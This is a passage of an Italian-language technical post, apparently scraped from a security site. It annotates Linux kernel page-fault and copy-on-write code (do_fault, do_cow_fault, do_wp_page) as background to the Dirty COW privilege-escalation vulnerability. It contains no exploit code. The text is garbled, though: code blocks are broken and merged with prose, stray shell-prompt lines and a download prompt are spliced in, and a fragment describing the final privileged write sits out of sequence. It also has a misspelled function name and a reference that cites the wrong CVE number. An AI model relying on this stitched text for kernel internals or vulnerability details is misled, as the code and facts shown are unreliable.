		     pte_t *pte, pmd_t *pmd, unsigned int flags)
{
	pte_t entry;
	spinlock_t *ptl;	// 页表自旋锁

	/*
	 * some architectures can have larger ptes than wordsize,
	 * e.g.ppc44x-defconfig has CONFIG_PTE_64BIT=y and CONFIG_32BIT=y,
	 * so READ_ONCE or ACCESS_ONCE cannot guarantee atomic accesses.
	 * The code below just needs a consistent view for the ifs and
	 * we later double check anyway with the ptl lock held. So here
	 * a barrier will do.
	 */
	entry = *pte;
	barrier();
	if (!pte_present(entry)) {	// 页表项不在内存中(page fault第一次)
		if (pte_none(entry)) {	// 页表项为空,进程第一次访问该页面
			if (vma_is_anonymous(vma))	// 没有设置vma->vm_ops,即为匿名页面(即不是文件映射)
				return do_anonymous_page(mm, vma, address,
							 pte, pmd, flags);
			else
				return do_fault(mm, vma, address, pte, pmd,		// 若为文件映射页面
						flags, entry);
		}
		return do_swap_page(mm, vma, address,	// 页表项不为空,将页面swap进内存
					pte, pmd, flags, entry);
	}

	if (pte_protnone(entry))	// 页表项为保护页
		return do_numa_page(mm, vma, address, entry, pte, pmd);	// NUMA

	ptl = pte_lockptr(mm, pmd);	// 页表自旋锁,此时页面已经在内存中
	spin_lock(ptl);
	if (unlikely(!pte_same(*pte, entry)))	// 并发检查
		goto unlock;
	if (flags & FAULT_FLAG_WRITE) {	// page fault是由写操作引发
		if (!pte_write(entry))		// 页不可写
			return do_wp_page(mm, vma, address,	// COW
					pte, pmd, ptl, entry);
		entry = pte_mkdirty(entry);	// 页可写,设置为脏页
	}
	entry = pte_mkyoung(entry);
	if (ptep_set_access_flags(vma, address, pte, entry, flags & FAULT_FLAG_WRITE)) {
		update_mmu_cache(vma, address, pte);
	} else {
		/*
		 * This is needed only for protection faults but the arch code
		 * is not yet telling us if this is a protection fault or not.
		 * This still avoids useless tlb flushes for .text page faults
		 * with threads.
		 */
		if (flags & FAULT_FLAG_WRITE)
			flush_tlb_fix_spurious_fault(vma, address);
	}
unlock:
	pte_unmap_unlock(pte, ptl);
	return 0;
}
do_fault

Poiché questa volta ci interessa principalmente COW, scegliamo di approfondire da do_fault

  • Prima individua la posizione dell'eccezione di pagina mancante in quale pagina del file (precedentemente confermato che la pagina proviene da un mapping di file)

  • Conferma che sia definito un gestore di eccezioni di pagina mancante in vma->vmops

  • Se è un'operazione di lettura, chiama do_read_fault

  • Se è un'operazione di scrittura, determina se la pagina è condivisibile; in caso contrario, significa che la pagina è privata del Task e necessita di COW, chiama do_cow_dault

  • Se è un'operazione di scrittura e la pagina è condivisa, chiama `do_shared_fault````c static int do_fault(struct mm_struct *mm, struct vm_area_struct *vma, unsigned long address, pte_t *page_table, pmd_t *pmd, unsigned int flags, pte_t orig_pte) { pgoff_t pgoff = (((address & PAGE_MASK) - vma->vm_start) >> PAGE_SHIFT) + vma->vm_pgoff; // 发生page fault的地址在文件中的页面偏移量

    pte_unmap(page_table); /* The VMA was not fully populated on mmap() or missing VM_DONTEXPAND */ if (!vma->vm_ops->fault) // 是否有定义处理缺页异常的函数 return VM_FAULT_SIGBUS; if (!(flags & FAULT_FLAG_WRITE)) // 当前内存访问是读操作 return do_read_fault(mm, vma, address, pmd, pgoff, flags, orig_pte); if (!(vma->vm_flags & VM_SHARED)) // 当前内存访问是写操作,且是私有映射MAP_PRIVATE,那么需要COW return do_cow_fault(mm, vma, address, pmd, pgoff, flags, // 创建一个新的页,将数据拷贝到新页中,设置新页的PTE(此时还未真正write) orig_pte); return do_shared_fault(mm, vma, address, pmd, pgoff, flags, orig_pte); // 当前内存访问是写操作,且是共享映射MAP_SHARED,不需要COW }

root@kitploit:~
##### do_cow_fault

Il flusso di `do_cow_fault` è approssimativamente il seguente

- Prima chiama `alloc_page_vma` per allocare una nuova pagina fisica `new_page`
- Controlla se OOM
- Poi `__do_fault` legge i dati dal file in un'altra pagina `fault_page`, che essenzialmente chiama la funzione `fault` legata a `vma->vm_ops`
- `copy_user_highpage` copia i dati di `fault_page` in `new_page`, questa funzione è in realtà un wrapper di `memcpy`
- `do_set_pte` imposta il pte per la pagina, con attributi di pagina scrivibile e anonima```c
static int do_cow_fault(struct mm_struct *mm, struct vm_area_struct *vma,
		unsigned long address, pmd_t *pmd,
		pgoff_t pgoff, unsigned int flags, pte_t orig_pte)
{
	struct page *fault_page, *new_page;
	struct mem_cgroup *memcg;
	spinlock_t *ptl;
	pte_t *pte;
	int ret;

	if (unlikely(anon_vma_prepare(vma)))
		return VM_FAULT_OOM;

	new_page = alloc_page_vma(GFP_HIGHUSER_MOVABLE, vma, address);	// 为新页分配物理内存。VMA的表示粒度是4k
	if (!new_page)
		return VM_FAULT_OOM;

	if (mem_cgroup_try_charge(new_page, mm, GFP_KERNEL, &memcg)) {	// 检查当前进程使用的内存是否超过了cgroup的限制
		page_cache_release(new_page);	// 释放COW的新页
		return VM_FAULT_OOM;	// 返回OOM错误,COW失败
	}

	ret = __do_fault(vma, address, pgoff, flags, new_page, &fault_page);	// 从文件中读取数据到fault_page
	if (unlikely(ret & (VM_FAULT_ERROR | VM_FAULT_NOPAGE | VM_FAULT_RETRY)))
		goto uncharge_out;

	if (fault_page)	// 读取成功
		copy_user_highpage(new_page, fault_page, address, vma);	// 将fault_page的数据拷贝到new_page中,实际调用memcpy
	__SetPageUptodate(new_page);

	pte = pte_offset_map_lock(mm, pmd, address, &ptl);
	if (unlikely(!pte_same(*pte, orig_pte))) {	// 并发检查
		pte_unmap_unlock(pte, ptl);
		if (fault_page) {
			unlock_page(fault_page);
			page_cache_release(fault_page);
		} else {
			/*
			 * The fault handler has no page to lock, so it holds
			 * i_mmap_lock for read to protect against truncate.
			 */
			i_mmap_unlock_read(vma->vm_file->f_mapping);
		}
		goto uncharge_out;
	}
	do_set_pte(vma, address, new_page, pte, true, true);	// 设置新页的PTE,该页为可写匿名页
	mem_cgroup_commit_charge(new_page, memcg, false);
	lru_cache_add_active_or_unevictable(new_page, vma);
	pte_unmap_unlock(pte, ptl);
	if (fault_page) {
		unlock_page(fault_page);
		page_cache_release(fault_page);
	} else {
		/*
		 * The fault handler has no page to lock, so it holds
		 * i_mmap_lock for read to protect against truncate.
		 */
		i_mmap_unlock_read(vma->vm_file->f_mapping);
	}
	return ret;
uncharge_out:
	mem_cgroup_cancel_charge(new_page, memcg);
	page_cache_release(new_page);
	return ret;
}
do_wp_page

Al primo page fault abbiamo già letto il contenuto del file in memoria e impostato la PTE tramite do_cow_fault all'interno di do_fault. Ora si verifica un secondo page fault dovuto alla mancanza del permesso di scrittura. Questa volta, il flusso di do_wp_page chiamato da handle_pte_fault è il seguente:

  • Per prima cosa, si ottiene la pagina corrispondente alla PTE

  • Poi, il flusso di COW arriva a reuse_swap_page, che determina se un solo Task sta utilizzando quella pagina

  • Se sì, si riutilizza direttamente la nuova pagina allocata da do_cow_fault; wp_page_copy copia il contenuto della pagina, e a questo punto il COW è completato.```c static int do_wp_page(struct mm_struct *mm, struct vm_area_struct *vma, unsigned long address, pte_t *page_table, pmd_t *pmd, spinlock_t *ptl, pte_t orig_pte) __releases(ptl) { struct page *old_page;

    old_page = vm_normal_page(vma, address, orig_pte); // 获取pte对应的页面 if (!old_page) { /* * VM_MIXEDMAP !pfn_valid() case, or VM_SOFTDIRTY clear on a * VM_PFNMAP VMA. * * We should not cow pages in a shared writeable mapping. * Just mark the pages writable and/or call ops->pfn_mkwrite. */ if ((vma->vm_flags & (VM_WRITE|VM_SHARED)) == (VM_WRITE|VM_SHARED)) return wp_pfn_shared(mm, vma, address, page_table, ptl, orig_pte, pmd);

    root@kitploit:~
      pte_unmap_unlock(page_table, ptl);
      return wp_page_copy(mm, vma, address, page_table, pmd,
      		    orig_pte, old_page);
    

    }

    /*

    • Take out anonymous pages first, anonymous shared vmas are
    • not dirty accountable. */ if (PageAnon(old_page) && !PageKsm(old_page)) { // 处理匿名页 if (!trylock_page(old_page)) { // 尝试获取页面锁 page_cache_get(old_page); pte_unmap_unlock(page_table, ptl); lock_page(old_page); page_table = pte_offset_map_lock(mm, pmd, address, &ptl); if (!pte_same(page_table, orig_pte)) { unlock_page(old_page); pte_unmap_unlock(page_table, ptl); page_cache_release(old_page); return 0; } page_cache_release(old_page); } if (reuse_swap_page(old_page)) { // 判断是否只有一个进程引用该页面,如果是则直接复用 / * The page is all ours. Move it to our anon_vma so * the rmap code will not search our parent or siblings. * Protected against the rmap code by the page lock. */ page_move_anon_rmap(old_page, vma, address); // 移动页面到匿名映射区 unlock_page(old_page); return wp_page_reuse(mm, vma, address, page_table, ptl, // 重用页面 orig_pte, old_page, 0, 0); } unlock_page(old_page); } else if (unlikely((vma->vm_flags & (VM_WRITE|VM_SHARED)) == (VM_WRITE|VM_SHARED))) { return wp_page_shared(mm, vma, address, page_table, pmd, ptl, orig_pte, old_page); }
root@kitploit:~
## Riferimenti

- [Un approfondimento sulla gestione delle eccezioni di pagina mancante in Linux — Illustrazione dei Page Faults](https://www.cnblogs.com/binlovetech/p/17918733.html)
- [Osservare l'essenza della mappatura della memoria mmap dal mondo del kernel (implementazione del codice sorgente)](https://www.cnblogs.com/binlovetech/p/17754173.html)
- [Analisi e riproduzione della vulnerabilità CVE-2016-5195](https://xz.aliyun.com/t/7561?time__1311=n4%2BxnD0G0%3D14gDBqPod4iIQ0I%3DD5G80ePD&alichlgref=https%3A%2F%2Fwww.google.com%2F#toc-7)
- [[Analisi della vulnerabilità] CVE-2016-5195 Dirtycow: Analisi della vulnerabilità di escalation dei privilegi del kernel Linux](https://www.anquanke.com/post/id/84784)
- [Analisi del flusso di gestione delle eccezioni di pagina mancante in Linux e analisi di CVE-2021-5195](https://www.anquanke.com/post/id/290851)
- [Riepilogo della vulnerabilità critica Linux Dirtycow](https://zhuanlan.zhihu.com/p/25918300)
- [Corri, kernel Linux!](https://xuanxuanblingbling.github.io/assets/attachment/奔跑吧-linux内核-内存管理-DirtyCow.pdf)
Scarica lo strumento
  • Poiché questa volta i permessi sono di sola lettura, faultin_page riesce a caricare la pagina di destinazione in memoria e a creare una mappatura, invece di creare una copia anonima tramite COW come in condizioni normali. Quindi restituisce il controllo e si ripete il tentativo.
  • Quarta volta
    1. follow_page_mask tenta di ottenere la pagina una quarta volta. Questa volta riesce ad ottenere la pagina di destinazione senza causare ulteriori eccezioni.
    2. Il controllo ritorna a kmap, il processo completa la scrittura, la pagina viene marcata come sporca e le modifiche vengono sincronizzate nel file, completando la scrittura con privilegi elevati.
  • /*

    • Ok, we need to copy. Oh, well.. */ page_cache_get(old_page);

    pte_unmap_unlock(page_table, ptl); return wp_page_copy(mm, vma, address, page_table, pmd, orig_pte, old_page); }